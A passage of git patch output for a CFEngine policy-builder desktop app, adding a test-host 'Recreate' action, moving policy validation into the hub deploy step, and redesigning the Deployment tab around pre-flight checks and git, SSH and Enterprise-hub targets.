a/src/renderer/src/components/TestResultsView.tsx +++ b/src/renderer/src/components/TestResultsView.tsx @@ -234,6 +234,7 @@ export function TestResultsView({ onShowBlock }: { onShowBlock: (fileId: string, actionsDisabled={busy || !docker?.available} onRunPolicy={() => void act('run', request([host.id]))} onSetUp={() => void act('test', request([host.id]))} + onRecreate={() => void act('reset', request([host.id]))} onStart={() => void act('start', request([host.id]))} onStop={() => void act('stop', request([host.id]))} problems={(runtime.problems[host.id] ?? []).length} @@ -362,6 +363,7 @@ const BUSY_LABEL = { start: 'Starting…', stop: 'Stopping…', destroy: 'Removing…', + reset: 'Recreating…', pull: 'Pulling…' }; diff --git a/src/renderer/src/components/testenv/HostCard.tsx b/src/renderer/src/components/testenv/HostCard.tsx index 4baa55d..a4dbf4c 100644 --- a/src/renderer/src/components/testenv/HostCard.tsx +++ b/src/renderer/src/components/testenv/HostCard.tsx @@ -3,6 +3,7 @@ import type { ReactNode } from 'react'; import DnsOutlinedIcon from '@mui/icons-material/DnsOutlined'; import PlayArrowIcon from '@mui/icons-material/PlayArrow'; import PowerSettingsNewIcon from '@mui/icons-material/PowerSettingsNew'; +import RestartAltIcon from '@mui/icons-material/RestartAlt'; import SettingsOutlinedIcon from '@mui/icons-material/SettingsOutlined'; import StopOutlinedIcon from '@mui/icons-material/StopOutlined'; import TerminalIcon from '@mui/icons-material/Terminal'; @@ -53,6 +54,8 @@ export interface HostCardProps { isHub: boolean; lastResult?: RunResult; onOpenSettings: () => void; + // Remove its container, set it up fresh (nothing from earlier runs) and run the policy on it. + onRecreate: () => void; // Run the policy on this host only. onRunPolicy: () => void; // A host with no container yet: create it, install CFEngine, bootstrap it, then run the policy on it. @@ -67,7 +70,7 @@ export interface HostCardProps { runtime?: HostRuntime; } -type HostActionsProps = Pick & { +type HostActionsProps = Pick & { absent: boolean; busy: boolean; disabled: boolean; @@ -76,7 +79,7 @@ type HostActionsProps = Pick {absent ? ( @@ -97,6 +100,13 @@ function HostActions({ absent, busy, disabled, onOpenSettings, onRunPolicy, onSe )} + + + { if (!window.api) return; subscribe(() => {}); - const label = { up: 'Start', run: 'Deploy & run', test: 'Deploy & run', exec: 'Command', start: 'Start', stop: 'Stop', destroy: 'Destroy', pull: 'Pull' }[ - action - ]; + const label = { + up: 'Start', + run: 'Deploy & run', + test: 'Deploy & run', + exec: 'Command', + start: 'Start', + stop: 'Stop', + destroy: 'Destroy', + reset: 'Recreate', + pull: 'Pull' + }[action]; update(environment.id, runtime => ({ ...(action === 'exec' ? {} : appended(runtime, { kind: 'step', text: `── ${label} ──` })), action, From 59089332f0029aad4e2d94fd3c77c67dcdc302af Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Mon, 5 Oct 2026 12:08:47 +0300 Subject: [PATCH 049/141] Setting up a test host no longer fails to fetch cf_promises_validated Every deploy to the hub replaced masterfiles, removing the file only the hub's own run writes back; only Deploy & run tagged the policy again, so a host set up by Start bootstrapped without it. The deploy itself now tags (and validates) the policy. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_testenv.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index ba09777..f7e54b4 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -616,8 +616,8 @@ def _ip(engine, container, env: dict) -> str: return container.attrs["NetworkSettings"]["Networks"][network_name(env)]["IPAddress"] -def _deploy(engine, hub, masterfiles: str) -> None: - """Replaces the hub's /var/cfengine/masterfiles with the built policy set.""" +def _deploy(engine, hub, masterfiles: str, host_id: str | None = None) -> None: + """Replaces the hub's /var/cfengine/masterfiles with the built policy set, and tags it.""" import io import tarfile @@ -627,6 +627,10 @@ def _deploy(engine, hub, masterfiles: str) -> None: _check(run_in(engine, hub, "rm -rf /var/cfengine/masterfiles", None, "setup"), "Clearing masterfiles") if not hub.put_archive("/var/cfengine", buffer.getvalue()): raise RunnerError("Couldn't copy the policy to the hub") + # Clients' update.cf (and a bootstrap) needs masterfiles/cf_promises_validated, which clearing + # removed and only the hub's own run writes again: tag it now, which also validates the policy. + tagged = run_in(engine, hub, f"{CFENGINE}/cf-promises -T /var/cfengine/masterfiles", host_id, "setup") + _check(tagged, "Validating the policy on the hub") def build_policy(content: dict, masterfiles: str, cache_dir: str) -> str: @@ -688,7 +692,7 @@ def up(request: dict, finish: bool = True) -> str: ) containers[host["id"]] = _ensure_container(engine, env, host, image, host_env(env, host, dotenv)) hub = containers[hub_host["id"]] - _deploy(engine, hub, masterfiles_dir) + _deploy(engine, hub, masterfiles_dir, hub_host["id"]) hub_ip = _ip(engine, hub, env) for host in sorted(hosts, key=lambda h: h is not hub_host): container = containers[host["id"]] @@ -813,11 +817,7 @@ def run(request: dict, masterfiles_dir: str | None = None) -> None: raise RunnerError(f"Start the environment first ({', '.join(missing) or 'no hosts'} not running)") masterfiles_dir = masterfiles_dir or build_policy(request["content"], request["masterfiles"], request["cacheDir"]) hub = containers[hub_host["id"]] - _deploy(engine, hub, masterfiles_dir) - # Clients' update.cf needs masterfiles/cf_promises_validated, which the deploy removed and only the - # hub's own run writes again: tag it now, so running only some clients works too. - tagged = run_in(engine, hub, f"{CFENGINE}/cf-promises -T /var/cfengine/masterfiles", hub_host["id"], "setup") - _check(tagged, "Validating the policy on the hub") + _deploy(engine, hub, masterfiles_dir, hub_host["id"]) # Where each block's lines are, to trace errors back to blocks. from cfpb_compiler import compile_project From 95629485838708e9f293b5d589786b34b79c2185 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Mon, 5 Oct 2026 17:28:21 +0300 Subject: [PATCH 050/141] Deployment tab: Redesigned around pre-flight checks and one tab per way Pre-flight (saved, valid, tested, committed, pushed) runs on opening the tab and on demand; only an invalid policy blocks shipping, the other checks warn and offer "Ship anyway". Below it, "Deploy to" has a tab each for the git repository, a hub over SSH and an Enterprise hub, with its status, its setup form when it isn't set up, and one ship button. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/deploy.ts | 18 +- src/preload/api.d.ts | 3 +- .../src/components/DeploymentView.tsx | 969 ++++++------------ .../src/components/deploy/EnterpriseHub.tsx | 568 ---------- .../src/components/deploy/Preflight.tsx | 69 ++ .../src/components/deploy/TargetSettings.tsx | 177 ++++ src/renderer/src/components/deploy/cards.tsx | 187 ++++ src/renderer/src/components/deploy/checks.tsx | 187 ++++ src/renderer/src/components/deploy/hub.tsx | 406 ++++++++ src/renderer/src/components/deploy/shared.tsx | 143 +++ src/renderer/src/components/deploy/ship.tsx | 161 +++ src/renderer/src/pages/ProjectView.tsx | 18 +- src/renderer/src/project/deployRuns.ts | 40 +- 13 files changed, 1739 insertions(+), 1207 deletions(-) delete mode 100644 src/renderer/src/components/deploy/EnterpriseHub.tsx create mode 100644 src/renderer/src/components/deploy/Preflight.tsx create mode 100644 src/renderer/src/components/deploy/TargetSettings.tsx create mode 100644 src/renderer/src/components/deploy/cards.tsx create mode 100644 src/renderer/src/components/deploy/checks.tsx create mode 100644 src/renderer/src/components/deploy/hub.tsx create mode 100644 src/renderer/src/components/deploy/shared.tsx create mode 100644 src/renderer/src/components/deploy/ship.tsx diff --git a/src/main/deploy.ts b/src/main/deploy.ts index 4f1dd3c..6025af1 100644 --- a/src/main/deploy.ts +++ b/src/main/deploy.ts @@ -92,7 +92,18 @@ async function status(path: string): Promise { const top = await git(path, ['rev-parse', '--show-toplevel']); const real = await fs.realpath(path); const repo = top.code === 0 && normalize(top.stdout.trim()) === real; - const empty: GitStatus = { repo, branch: null, remote: null, upstream: null, ahead: 0, behind: 0, changedFiles: 0, lastCommit: null, headBuilder: null }; + const empty: GitStatus = { + repo, + branch: null, + remote: null, + upstream: null, + ahead: 0, + behind: 0, + changedFiles: 0, + changedPaths: [], + lastCommit: null, + headBuilder: null + }; if (!repo) return empty; // What the remote has that we don't (best effort: offline, the last fetch's view). if ((await git(path, ['remote', 'get-url', 'origin'])).code === 0) await git(path, ['fetch', '--quiet', 'origin'], FETCH_TIMEOUT_MS).catch(() => null); @@ -127,6 +138,11 @@ async function status(path: string): Promise { ahead: ahead || 0, behind: behind || 0, changedFiles: changed.stdout.split('\n').filter(Boolean).length, + changedPaths: changed.stdout + .split('\n') + .filter(Boolean) + .map(line => line.slice(3)) + .slice(0, 50), lastCommit: hash ? { hash, subject, date } : null, headBuilder }; diff --git a/src/preload/api.d.ts b/src/preload/api.d.ts index ec56f3b..4becbbb 100644 --- a/src/preload/api.d.ts +++ b/src/preload/api.d.ts @@ -195,8 +195,9 @@ export interface GitStatus { ahead: number; behind: number; branch: string | null; - // Uncommitted files (cfbs's out/ is ignored). + // Uncommitted files (cfbs's out/ is ignored), and their paths (the first 50). changedFiles: number; + changedPaths: string[]; // .policy-builder/project.json at HEAD, parsed: what "changes since the last commit" compares with. headBuilder: unknown; lastCommit: { date: string; hash: string; subject: string } | null; diff --git a/src/renderer/src/components/DeploymentView.tsx b/src/renderer/src/components/DeploymentView.tsx index 03b4b90..492f33a 100644 --- a/src/renderer/src/components/DeploymentView.tsx +++ b/src/renderer/src/components/DeploymentView.tsx @@ -1,43 +1,36 @@ -import { type ReactNode, useEffect, useMemo, useState } from 'react'; +import { useCallback, useEffect, useMemo, useRef, useState } from 'react'; -import CheckCircleIcon from '@mui/icons-material/CheckCircle'; -import ErrorIcon from '@mui/icons-material/Error'; -import RemoveCircleOutlineIcon from '@mui/icons-material/RemoveCircleOutlined'; -import WarningAmberIcon from '@mui/icons-material/WarningAmber'; -import { Alert, Box, Button, CircularProgress, LinearProgress, Link, Paper, Stack, Tab, Tabs, TextField, Typography, alpha, useTheme } from '@mui/material'; +import RefreshIcon from '@mui/icons-material/Refresh'; +import { Alert, Box, Button, CircularProgress, Paper, Snackbar, Stack, Typography } from '@mui/material'; -import type { BuildProblem, BuildResult, GitStatus } from '../../../preload/api'; +import type { BuildProblem, GitStatus } from '../../../preload/api'; import { type ProjectData, fromBuilderProject, toCfbsProject } from '../project/cfbsProject'; import { BUILD_STAGES, type DeployRun, type Failure, + HUB_STAGES, SSH_STAGES, - type SshState, - resetSsh, + isValid, + readRun, + sshTargetOf, startBuild, + startHubDeploy, startSshDeploy, useDeployRun } from '../project/deployRuns'; -import { type ProjectChange, commitMessage, projectChanges } from '../project/projectChanges'; +import { commitMessage, projectChanges } from '../project/projectChanges'; import { useEnvironmentRuntime } from '../project/testRuns'; import type { CompiledPolicyState } from '../project/useCompiledPolicy'; import { store, useAppSelector } from '../store'; import { selectCurrentProject } from '../store/projectSlice/selectors'; -import { EnterpriseHub } from './deploy/EnterpriseHub'; - -type Tone = 'error' | 'muted' | 'success' | 'warning'; -// Where step 3 delivers the policy set. -type Target = 'git' | 'hub' | 'ssh'; - -const TAB_SX = { minHeight: 36, py: 0.5, textTransform: 'none', fontSize: 13 } as const; - -const ago = (time: number) => { - const minutes = Math.round((Date.now() - time) / 60_000); - if (minutes < 1) return 'just now'; - if (minutes < 60) return `${minutes} min ago`; - return `${Math.round(minutes / 60)} h ago`; -}; +import { PreflightRow } from './deploy/Preflight'; +import { RemoteSettings, SshSettings, type Target, TargetSettings } from './deploy/TargetSettings'; +import { DeployTabs, statusLines } from './deploy/cards'; +import { committedCheck, pushedCheck, savedCheck, testedCheck, validCheck } from './deploy/checks'; +import { ConnectForm, HubOutcome, HubSettings, cannotPull, deploysProject, useHub } from './deploy/hub'; +import { FailureAlert, Output, StageProgress, short } from './deploy/shared'; +import { ShipDialog, type ShipPlan, type ShipStep, planShip } from './deploy/ship'; // The project as saving writes it, without test environments: what a test run deployed. const snapshot = (): ProjectData => { @@ -45,297 +38,194 @@ const snapshot = (): ProjectData => { return { canvas: state.canvas, derivedNodes: state.derivedNodes, edges: state.edges, files: state.files, groups: state.groups, testEnvironments: [] }; }; -function StatusIcon({ tone }: { tone: Tone }) { - if (tone === 'success') return ; - if (tone === 'error') return ; - if (tone === 'warning') return ; - return ; -} +type GitResult = { details: string; message: string; ok: false } | { ok: true; status: GitStatus }; +// What the run panel shows: the last thing that ran. +type Activity = 'build' | 'git' | 'hub' | 'ssh' | null; -// One step of the pipeline: number, title, its state, and what it holds. -function Step({ actions, children, number, status, title }: { actions?: ReactNode; children?: ReactNode; number: number; status?: ReactNode; title: string }) { - const theme = useTheme(); - return ( - - - - {number} - - {title} - {status} - - {actions} - - - {children && {children}} - - ); -} - -function Line({ children, tone }: { children: ReactNode; tone: Tone }) { - return ( - - - - {children} - - - ); +function useGitStatus(path: string | null) { + const [git, setGit] = useState(null); + const [failure, setFailure] = useState(null); + const refresh = async () => { + if (!path || !window.api) return; + const result = await window.api.gitStatus(path); + if (result.ok) setGit(result.status); + else setFailure(result); + }; + useEffect(() => { + let current = true; + if (path && window.api) { + void window.api.gitStatus(path).then(result => { + if (!current) return; + if (result.ok) setGit(result.status); + else setFailure(result); + }); + } + return () => { + current = false; + }; + }, [path]); + return { git, setGit, failure, setFailure, refresh }; } -function FailureAlert({ failure }: { failure: Failure | null }) { - if (!failure) return null; - return ( - - {failure.message} - {failure.details && failure.details !== failure.message && ( - - {failure.details} - - )} - +// The changes since the last commit, and the project content as saving writes it (what checks compare). +function useProjectState(git: GitStatus | null) { + const project = useAppSelector(selectCurrentProject); + const canvas = useAppSelector(state => state.canvas); + const edges = useAppSelector(state => state.edges); + const groups = useAppSelector(state => state.groups); + const files = useAppSelector(state => state.files); + const derivedNodes = useAppSelector(state => state.derivedNodes); + const content = useMemo( + () => (project ? JSON.stringify(toCfbsProject(snapshot(), project)) : ''), + // eslint-disable-next-line react-hooks/exhaustive-deps -- the slices are what the snapshot reads + [project, canvas, edges, groups, files, derivedNodes] ); + const changes = useMemo(() => { + let head: ProjectData | null = null; + try { + head = git?.headBuilder ? fromBuilderProject(git.headBuilder) : null; + } catch { + head = null; + } + // Through the same save and load as the commit went, so both sides have the same shape. + let now = snapshot(); + try { + if (project) now = fromBuilderProject(JSON.parse(content).project); + } catch { + // Unsaveable state: compare as it is. + } + return projectChanges(head, now); + // eslint-disable-next-line react-hooks/exhaustive-deps -- content stands for the slices + }, [git, content]); + return { project, canvas, content, changes }; } -function ProblemList({ - blockAt, - onShowBlock, - problems -}: { - blockAt: (problem: BuildProblem) => { fileId: string; id: string; label: string } | null; - onShowBlock: (fileId: string, id: string) => void; - problems: BuildProblem[]; -}) { +// The step running now: a build or deploy's stage, or a git action. +function Running({ gitStep, run }: { gitStep: string | null; run: DeployRun }) { + if (run.action) return ; return ( - - {problems.slice(0, 20).map((problem, index) => { - const block = blockAt(problem); - return ( - - {problem.message} - - {problem.file ?? '?'}:{problem.line} - - {block && ( - onShowBlock(block.fileId, block.id)}> - Show {block.label} - - )} - - ); - })} + + + {gitStep}… ); } -const CHANGE_STYLE = { - added: { sign: '+', color: 'success.main' }, - changed: { sign: '~', color: 'warning.main' }, - removed: { sign: '−', color: 'error.main' } -} as const; - -function ChangeList({ changes }: { changes: ProjectChange[] }) { +function SshOutcome({ ssh }: { ssh: DeployRun['ssh'] }) { + if (ssh.phase === 'failed') return ; + if (ssh.phase === 'invalid') return Not deployed: the checks found problems. See Valid policy.; + if (ssh.phase !== 'deployed') return null; return ( - - {changes.slice(0, 30).map((change, index) => ( - - - {CHANGE_STYLE[change.kind].sign} - - {change.what} - {change.detail && ( - - {' '} - · {change.detail} - - )} - - ))} - {changes.length > 30 && …and {changes.length - 30} more} + + Deployed to {ssh.host}: it’s the hub’s masterfiles now, and its agent ran. + ); } -// "Tested?": the last Deploy & run, and whether the policy changed since. -function TestedLine() { - const environment = useAppSelector(state => state.testEnvironments[0]); - const runtime = useEnvironmentRuntime(environment?.id ?? ''); - const project = useAppSelector(selectCurrentProject); - useAppSelector(state => state.canvas); - const run = runtime.lastRun; - if (!run) return Not run on a test host yet (Test Results & Logs → Deploy & run).; - if (run.passed === null) return Deploy & run is running…; - const edited = project ? JSON.stringify(toCfbsProject(snapshot(), project)) !== run.content : false; - const hosts = `${run.hosts} ${run.hosts === 1 ? 'host' : 'hosts'}`; - if (edited) return Edited since the last Deploy & run ({ago(run.at)}): run it again to test these changes.; - return run.passed ? ( - - Deploy & run passed on {hosts} ({ago(run.at)}). - - ) : ( - - Deploy & run had problems on {hosts} ({ago(run.at)}): see Test Results & Logs. - - ); +function BuildOutcome({ run }: { run: DeployRun }) { + if (run.buildFailure) return ; + if (run.build && !isValid(run)) return The policy has problems: nothing was shipped. See Valid policy.; + return null; } -type BlockAt = (problem: BuildProblem) => { fileId: string; id: string; label: string } | null; - -// "Step 3 of 9 · Checking with the linter", and a bar over the steps done. -function StageProgress({ stage, stages }: { stage: string | null; stages: typeof SSH_STAGES }) { - const index = Math.max( - 0, - stages.findIndex(item => item.id === stage) - ); - return ( - - - - - Step {index + 1} of {stages.length} · {stages[index].label}… - - - - - ); +// How the last thing that ran ended. +function Outcome({ activity, gitFailure, run }: { activity: Activity; gitFailure: Failure | null; run: DeployRun }) { + if (activity === 'git') return ; + if (activity === 'build') return ; + if (activity === 'ssh') return ; + if (activity === 'hub') return ; + return null; } -function BuildStatus({ run }: { run: DeployRun }) { - if (run.action === 'build') return ; - // An SSH deploy builds first: shown here until it moves on to the hub. - if (run.action === 'ssh' && BUILD_STAGES.some(stage => stage.id === run.stage)) return ; - if (run.buildFailure) return ; - if (!run.build) return ; - const ok = run.build.lint.ok && run.build.promises.ok !== false; - return ; -} +const hasOutcome = (activity: Activity, gitFailure: Failure | null, run: DeployRun) => + (activity === 'git' && Boolean(gitFailure)) || + (activity === 'build' && Boolean(run.buildFailure || (run.build && !isValid(run)))) || + (activity === 'ssh' && run.ssh.phase !== 'idle') || + (activity === 'hub' && run.hub.phase !== 'idle'); -function promisesText(promises: BuildResult['promises']) { - if (promises.ok === null) return `: skipped. ${promises.message ?? ''}`; - if (promises.ok) return `: valid (${promises.how === 'docker' ? 'in a test-host image' : 'local CFEngine'})`; - return `: ${promises.problems.length || 'some'} errors`; -} +const SPIN = { animation: 'cfpb-spin 1s linear infinite', '@keyframes cfpb-spin': { to: { transform: 'rotate(360deg)' } } }; -// What the build made and what the checks found, problems linked to their blocks. -function BuildDetails({ - blockAt, - build, - onReveal, - onShowBlock -}: { - blockAt: BlockAt; - build: BuildResult; - onReveal: (file: string) => void; - onShowBlock: (fileId: string, id: string) => void; -}) { +// Docked at the bottom: the running step, then how it ended. +function RunPanel(props: { activity: Activity; gitFailure: Failure | null; gitStep: string | null; onDismiss: () => void; run: DeployRun }) { + const running = Boolean(props.run.action || props.gitStep); + if (!running && !hasOutcome(props.activity, props.gitFailure, props.run)) return null; return ( - <> - Built with cfbs - Linter: {build.lint.ok ? 'no problems' : `${build.lint.problems.length} problems`} - {!build.lint.ok && } - cf-promises{promisesText(build.promises)} - {build.promises.ok === false && } - {build.tarball && ( - - - {build.tarball} - - - - )} - + )} + + ); } /** - * The Deployment tab: build and check the saved project's policy set, see what changed since the - * last commit, then deliver it: commit and push (a hub on GIT_CFBS deploys from the repository), - * or copy it to a hub over SSH as cf-remote deploy does. + * The Deployment tab: pre-flight checks (saved, valid, tested, committed, pushed), then the ways + * to deploy as tabs named with their status, each with its one action — a git repository, a hub over SSH, or an + * Enterprise hub — with the run's progress and outcome docked at the bottom. */ export function DeploymentView({ compiled, + dirty, + onOpenTests, onReload, onSave, onShowBlock }: { compiled: CompiledPolicyState; + dirty: boolean; + onOpenTests: () => void; // Reads the project from disk again (after pulling the remote's commits into it). onReload: () => Promise; onSave: () => Promise; onShowBlock: (fileId: string, id: string) => void; }) { - const project = useAppSelector(selectCurrentProject); - const canvas = useAppSelector(state => state.canvas); - const edges = useAppSelector(state => state.edges); - const groups = useAppSelector(state => state.groups); - const files = useAppSelector(state => state.files); - const [git, setGit] = useState(null); - const [gitFailure, setGitFailure] = useState(null); - const [gitBusy, setBusy] = useState<'commit' | 'force' | 'init' | 'push' | 'rebase' | 'remote' | null>(null); - const [message, setMessage] = useState(null); - const [remote, setRemote] = useState(null); - const [target, setTarget] = useState(() => (localStorage.getItem(`cfpb.deploy.target:${project?.path}`) as Target | null) ?? 'git'); - const chooseTarget = (value: Target) => { - setTarget(value); - localStorage.setItem(`cfpb.deploy.target:${path}`, value); - }; - // What the last git action did, e.g. "Committed 5ec6020". - const [notice, setNotice] = useState(null); + const projectPath = useAppSelector(selectCurrentProject)?.path ?? null; + const gitState = useGitStatus(projectPath); + const { git, setGit } = gitState; + const { project, canvas, content, changes } = useProjectState(git); const path = project?.path ?? null; const run = useDeployRun(path); - const { build, buildFailure, ssh } = run; - // A Build or deploy, or a git action: one at a time. - const busy = gitBusy ?? run.action; + const hub = useHub(path); + const environment = useAppSelector(state => state.testEnvironments[0]); + const testRuntime = useEnvironmentRuntime(environment?.id ?? ''); + const [open, setOpen] = useState(null); + const [settingsTarget, setSettingsTarget] = useState(null); + // Bumped when the SSH target is saved (it lives in localStorage), so the tab re-reads it. + const [, setSshSaved] = useState(0); + // The deploy tab last looked at, per project. + const [tab, setTab] = useState(() => (localStorage.getItem(`cfpb.deploy.target:${projectPath}`) as Target | null) ?? 'git'); + const chooseTab = (value: Target) => { + setTab(value); + setActivity(null); + localStorage.setItem(`cfpb.deploy.target:${projectPath}`, value); + }; + const [plan, setPlan] = useState(null); + const [gitStep, setGitStep] = useState(null); + const [activity, setActivity] = useState(null); + const [notice, setNotice] = useState(null); + const [rejected, setRejected] = useState(false); + const isModule = project?.type === 'module'; + const busy = Boolean(run.action || gitStep); - useEffect(() => { - let current = true; - if (path && window.api) { - void window.api.gitStatus(path).then(result => { - if (!current) return; - if (result.ok) setGit(result.status); - else setGitFailure(result); - }); - } - return () => { - current = false; - }; - }, [path]); + // Builds and commits work on what's on disk; saving an unedited project would only rewrite it. + const saveIfEdited = useCallback(() => (dirty ? onSave() : Promise.resolve(true)), [dirty, onSave]); - const changes = useMemo(() => { - let head: ProjectData | null = null; - try { - head = git?.headBuilder ? fromBuilderProject(git.headBuilder) : null; - } catch { - head = null; - } - // Through the same save and load as the commit went, so both sides have the same shape (saving - // re-attaches arrows that cross a group frame, and splits a group's look from its policy). - let now = snapshot(); - try { - if (project) now = fromBuilderProject(toCfbsProject(now, project).project); - } catch { - // Unsaveable state: compare as it is. - } - return projectChanges(head, now); - // The store slices are what the snapshot reads. - // eslint-disable-next-line react-hooks/exhaustive-deps - }, [git, canvas, edges, groups, files, project]); + // Pre-flight on open: the build is rerun when the saved project changed since the last one. + const opened = useRef(false); + useEffect(() => { + if (opened.current || !path || dirty || isModule) return; + opened.current = true; + const last = readRun(path); + if (!last.action && (!last.build || last.builtFrom !== content)) void startBuild(path, saveIfEdited, content); + }, [path, dirty, isModule, content, saveIfEdited]); // A build or check problem's block, through the compiled source map. const blockAt = (problem: BuildProblem) => { @@ -352,389 +242,210 @@ export function DeploymentView({ return block ? { fileId, id: block.instanceId, label: block.label } : null; }; - // Saves first: Build and Commit work on what's on disk. - const withSave = async (step: NonNullable, run: (path: string) => Promise) => { - setBusy(step); + const gitAction = async (label: string, action: () => Promise, done?: (status: GitStatus) => string): Promise => { + setGitStep(label); + setActivity('git'); + gitState.setFailure(null); + setNotice(null); try { - if (!(await onSave())) return; - const saved = store.getState().project?.path; - if (saved) await run(saved); + const result = await action(); + if (!result.ok) { + gitState.setFailure(result); + setRejected(/\[rejected\]|fetch first|non-fast-forward/.test(`${result.message}\n${result.details}`)); + return false; + } + setGit(result.status); + setRejected(false); + if (done) setNotice(done(result.status)); + return true; } finally { - setBusy(null); + setGitStep(null); } }; - // An unsaved project gets a folder first (Save as), then runs there. - const located = async () => path ?? ((await onSave()) ? (store.getState().project?.path ?? null) : null); - const runBuild = async () => { - const folder = await located(); - if (folder) await startBuild(folder, onSave); - }; + const initGit = () => + gitAction( + 'Initializing git', + () => window.api!.gitInit(path!), + status => `Initialized git: first commit ${short(status.lastCommit?.hash)}.` + ); - const gitAction = async ( - step: NonNullable, - run: () => Promise<{ details: string; message: string; ok: false } | { ok: true; status: GitStatus }> - ) => { - setBusy(step); - setGitFailure(null); + const preflight = async () => { + if (!path) return void (await onSave()); + setActivity('build'); setNotice(null); - try { - const result = await run(); - if (result.ok) { - setGit(result.status); - const commit = result.status.lastCommit?.hash.slice(0, 7); - const notices: Partial> = { - commit: `Committed ${commit}.`, - init: `Initialized git, first commit ${commit}.`, - push: `Pushed ${result.status.branch} to origin.`, - rebase: `Pulled the remote’s commits under yours and pushed ${result.status.branch}; the project was reloaded from disk.`, - force: `Overwrote ${result.status.branch} on origin with yours.`, - remote: 'Remote set.' - }; - setNotice(notices[step] ?? null); - } else setGitFailure(result); - return result.ok; - } finally { - setBusy(null); + void gitState.refresh(); + void hub.refresh(); + await startBuild(path, saveIfEdited, content); + if (isValid(readRun(path))) setNotice('Pre-flight: the policy builds and checks out.'); + }; + + // One step of shipping; false stops the rest. + const shipStep = async (step: ShipStep, folder: string, message: string): Promise => { + if (step === 'check') { + setActivity('build'); + await startBuild(folder, saveIfEdited, content); + return isValid(readRun(folder)); } + if (step === 'commit') return (await saveIfEdited()) && gitAction('Committing', () => window.api!.gitCommit(folder, message)); + if (step === 'push') + return gitAction( + 'Pushing', + () => window.api!.gitPush(folder), + status => `Pushed ${short(status.lastCommit?.hash)} to ${status.upstream ?? 'origin'}.` + ); + if (step === 'hub' && hub.hub) { + setActivity('hub'); + await startHubDeploy(folder, hub.hub.url, hub.setState); + } + if (step === 'ssh') { + setActivity('ssh'); + await startSshDeploy(folder, saveIfEdited, sshTargetOf(folder)!, content); + } + return true; + }; + + const ship = async (message: string) => { + const steps = plan?.steps ?? []; + setPlan(null); + if (!path) return; + for (const step of steps) if (!(await shipStep(step, path, message))) return; }; if (!window.api) return ; if (!project) return null; - const suggested = commitMessage(changes); - const text = message ?? suggested; - const isModule = project.type === 'module'; + const checks = [ + savedCheck(dirty), + validCheck({ blockAt, content, isModule, run, onShowBlock, onReveal: file => void window.api!.revealInProject(path!, file) }), + testedCheck({ content, onOpenTests, run: testRuntime.lastRun }), + committedCheck({ + changes, + git, + onInit: () => void initGit() + }), + pushedCheck({ + busy, + git, + rejected, + onSettings: () => setSettingsTarget('git'), + onSync: mode => + void gitAction( + mode === 'rebase' ? 'Pulling the remote’s commits' : 'Overwriting the remote', + async () => { + const result = await window.api!.gitSync(path!, mode); + if (result.ok && result.pulled) await onReload(); + return result; + }, + status => + mode === 'rebase' + ? `Pulled the remote’s commits under yours and pushed ${status.branch}; the project was reloaded.` + : `Overwrote ${status.branch} on origin.` + ) + }) + ]; + + const TARGETS: Target[] = ['git', 'ssh', 'hub']; + const unsaved: ShipPlan = { + label: 'Save the project first', + steps: [], + warnings: [], + blocked: { reason: 'Deployment works on a saved project folder.', action: { label: 'Save…', run: () => void onSave() } } + }; + // A way that isn't set up yet shows its setup form in its tab. + const setupFor = (target: Target) => { + if (!path) return undefined; + if (target === 'ssh') return sshTargetOf(path) ? undefined : setSshSaved(count => count + 1)} />; + if (target === 'hub') { + if (hub.loaded && !hub.hub) return ; + return hub.state && (!deploysProject(hub.state, git) || cannotPull(hub.state)) ? : undefined; + } + if (git && !git.repo) { + return ( + + This project folder isn’t a git repository yet. + + + ); + } + return git?.repo && !git.remote ? : undefined; + }; + const planFor = (target: Target) => + path ? planShip({ checks, content, git, hub, isModule, path, run, target, onSettings: () => setSettingsTarget(target) }) : unsaved; return ( - - - Deployment - - Build and check the policy set, then push it to the git repository a hub deploys from, or copy it to a hub over SSH. - - - - } - actions={ - - } - > - {isModule && A module is built by the policy set that uses it.} - - {build && void window.api!.revealInProject(path!, file)} />} - - - : undefined - } - > - {!path && Save the project to a folder first.} - {git?.repo && changes.length === 0 && ( - Same as the last commit{git.lastCommit ? `: “${git.lastCommit.subject}”` : ''}. - )} - {changes.length > 0 && } - - - - - - - ) : target === 'ssh' ? ( - - ) : ( - - ) - } - > - chooseTarget(value)} - sx={{ minHeight: 36, mb: 1.5, borderBottom: '1px solid', borderColor: 'divider' }} + + + Deployment + + -// Where the policy set goes: a hub reachable with the user's own ssh, kept per project. -function SshDeploy({ - busy, - onDeploy, - onEdit, - path, - run -}: { - busy: boolean; - onDeploy: (target: { host: string; key: string | null; port: number | null }) => void; - // The hub changed: the last result no longer applies. - onEdit: () => void; - path: string; - run: DeployRun; -}) { - const state = run.ssh; - const key = `cfpb.deploy.ssh:${path}`; - const [host, setHost] = useState(() => localStorage.getItem(key)?.split('|')[0] ?? ''); - const [port, setPort] = useState(() => localStorage.getItem(key)?.split('|')[1] ?? ''); - // A private key file's path (never its contents); empty: whatever ssh picks (agent, ~/.ssh/config). - const [identity, setIdentity] = useState(() => localStorage.getItem(key)?.split('|')[2] ?? ''); - const valid = /^(?:[\w.-]+@)?[\w][\w.-]*$/.test(host.trim()) && (port === '' || (Number(port) > 0 && Number(port) < 65536)); - const deploy = () => { - localStorage.setItem(key, `${host.trim()}|${port}|${identity}`); - onDeploy({ host: host.trim(), key: identity || null, port: port ? Number(port) : null }); - }; - return ( - - - { - setHost(event.target.value); - onEdit(); - }} - sx={{ flex: 1 }} - slotProps={{ htmlInput: { style: { fontFamily: 'monospace', fontSize: 13 } } }} - /> - setPort(event.target.value.replace(/\D/g, '').slice(0, 5))} - sx={{ width: 90 }} + + + Deploy to + ({ + target, + plan: planFor(target), + lines: path ? statusLines({ changes: changes.length, git, hub, path, run, target }) : [{ tone: 'muted' as const, text: 'Not saved yet' }], + setup: setupFor(target) + }))} + onTab={chooseTab} + onSettings={target => (path ? setSettingsTarget(target) : void onSave())} + onShip={target => setPlan(planFor(target))} /> + + setActivity(null)} /> - - setNotice(null)} + anchorOrigin={{ vertical: 'top', horizontal: 'right' }} + sx={{ top: { xs: 72, 